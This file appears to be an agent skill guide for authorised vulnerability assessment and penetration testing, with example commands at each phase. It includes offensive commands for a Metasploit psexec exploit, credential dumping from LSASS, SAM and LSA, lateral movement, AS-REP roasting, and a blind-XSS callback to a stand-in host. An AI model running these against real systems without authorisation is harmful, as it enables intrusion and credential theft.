Vapt

VAPT — Vulnerability Assessment & Penetration Testing

Systematic, standards-based security assessment chaining Secator (recon/scanning), NetExec (network protocols/AD), Metasploit (exploitation), and raw Python (custom verification and chaining).

Assessment Types

When starting, determine the assessment type and load the corresponding phase sequence.

Phase Sequence (All Assessments)

Every assessment follows this ordered pipeline. Each phase produces verified, documented output.

1. RECON          → Passive + active information gathering
2. MAPPING        → Port/service/technology identification
3. VULN SCAN      → Automated vulnerability detection
4. MANUAL TEST    → Targeted manual testing (OWASP/OSSTMM)
5. EXPLOITATION   → Verified exploit execution (Metasploit + custom)
6. POST-EXPLOIT   → Lateral movement, persistence, data access
7. VERIFY         → False-positive elimination and confirmation
8. REMEDIATE      → Step-by-step fix recommendations
9. REPORT         → Full documented evidence package

Quick Start

Blackbox External Assessment

# Phase 1-2: Recon + Mapping (Secator)
secator s domain target.com -json -o output/
secator s network 10.0.0.0/24 -json -o output/

# Phase 3: Vulnerability scanning
secator x nuclei target.com -tags cve,exposure -json -o output/vulns.json
secator x nmap target.com -p- -sV --script vuln -json -o output/nmap-vulns.json

# Phase 4-5: Manual testing + exploitation (load references)
# See references/owasp-testing-guide.md and references/exploitation-chaining.md

Windows/AD Internal Assessment

# Phase 2-3: Network enumeration (NetExec)
nxc smb 10.0.0.0/24 -u '' -p '' --shares
nxc ldap 10.0.0.1 -u '' -p '' --asreproast asreproast.txt
nxc smb 10.0.0.0/24 -u admin -p 'P@ssw0rd' --pass-pol

# Phase 5: Exploitation (Metasploit)
msfconsole -q -x "use exploit/windows/smb/psexec; set RHOSTS 10.0.0.5; set SMBUser admin; set SMBPass P@ssw0rd; run"

# Phase 7: Verification (Python)
python3 scripts/vapt-verify.py --phase verify --target 10.0.0.5 --evidence-dir output/

Full Assessment with Chaining

# End-to-end orchestrated assessment
python3 scripts/vapt-chain.py --target target.com --type blackbox --scope webapp+network --output output/

Tool Selection Matrix

Phase Details

Phase 1: RECON

Blackbox: Full passive recon → active recon → target enumeration Greybox: Supplement known information with discovery Whitebox: Validate provided info, find gaps

For detailed recon procedures: references/osstmm-methodology.md

# Passive recon
secator x subfinder target.com -raw | secator x httpx -rl 10 -ss
secator x dnsx target.com -a -aaaa -cname -mx -ns -txt -soa -ptr

# Active recon
secator x httpx target.com -td -asn -cdn -server -title -status-code
secator x katana target.com -jc -js-crawl -known-files all -d 5

Phase 2: MAPPING

# Full port scan
secator x naabu target.com -p- -json -rate 1000

# Service version detection
secator x nmap target.com -p 80,443,445,3389,8080 -sV -sC -json

# Network device discovery
nxc smb 10.0.0.0/24 -u '' -p ''  # Windows hosts
nxc ssh 10.0.0.0/24 -u '' -p ''  # Linux/Unix hosts

Phase 3: VULN SCAN

# Web vulnerability scanning
secator x nuclei target.com -tags cve,exposure,misconfig -severity critical,high,medium

# Network vulnerability scanning
secator x nmap target.com --script vuln -json

# XSS scanning
secator x dalfox target.com -b https://callback.example.com

# WordPress scanning
secator x wpscan target.com -e ap,at,cb,dbe -api-token TOKEN

Phase 4: MANUAL TEST

Load the appropriate testing guide:

• Web/API: references/owasp-testing-guide.md
• Network/System: references/osstmm-methodology.md

Phase 5: EXPLOITATION

Chain findings into exploit paths: references/exploitation-chaining.md Metasploit reference: references/metasploit-reference.md

Phase 6: POST-EXPLOITATION

# Credential harvesting
nxc smb target -u admin -p 'P@ss' -M lsassy
nxc smb target -u admin -p 'P@ss' --sam
nxc smb target -u admin -p 'P@ss' --lsa

# Lateral movement
nxc smb 10.0.0.0/24 -u admin -p 'P@ss' --shares
nxc winrm target -u admin -p 'P@ss' -x "whoami /all"

Phase 7: VERIFY (False-Positive Resistance)

Every finding MUST be verified before reporting. Use multi-method confirmation: references/false-positive-resistance.md

python3 scripts/vapt-verify.py --phase verify --target target.com --evidence-dir output/

Phase 8: REMEDIATE

Every confirmed finding MUST include step-by-step remediation. See remediation templates: references/remediation-guide.md

Remediation format per finding:

1. Problem: What the vulnerability is
2. Impact: What an attacker can achieve
3. Step-by-step Fix: Numbered actionable steps with exact commands/configs
4. Verification: How to confirm the fix is applied
5. References: CIS, NIST, OWASP, vendor advisories

Phase 9: REPORT

python3 scripts/vapt-report.py --input output/ --format html --template executive

For report structure: references/reporting-templates.md

API Testing (REST, GraphQL, gRPC)

REST API

# Discovery
secator x httpx api.target.com -td -server -status-code -path /swagger.json /api/v1/docs

# Authentication testing
python3 scripts/vapt-chain.py --phase manual --target api.target.com --type api --spec openapi

# Fuzzing
secator x ffuf https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt

GraphQL

# Introspection
curl -s -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name}}}}"}' 

# Testing with Python
python3 -c "
import requests, json
r = requests.post('https://api.target.com/graphql', json={'query': '{__schema{types{name}}}'})
print(json.dumps(r.json(), indent=2))
"

gRPC

# Service enumeration with grpcurl
grpcurl -plaintext target.com:50051 list
grpcurl -plaintext target.com:50051 describe Package.Service

Critical Rules

1. Always verify: Never report unverified findings. Use 2+ methods for confirmation.
2. Always document: Screenshot, save raw output, note timestamps, record commands.
3. Always remediate: Every finding gets step-by-step fix instructions with exact commands.
4. Chain findings: Vulnerabilities in isolation misrepresent risk. Show attack paths.
5. Scope strictly: Never test outside authorized scope.
6. Evidence integrity: Hash evidence files, maintain chain of custody.
7. Rate limit: Respect target capacity. Use -rl flags in Secator, --rate in nmap.

Advanced References

Scripts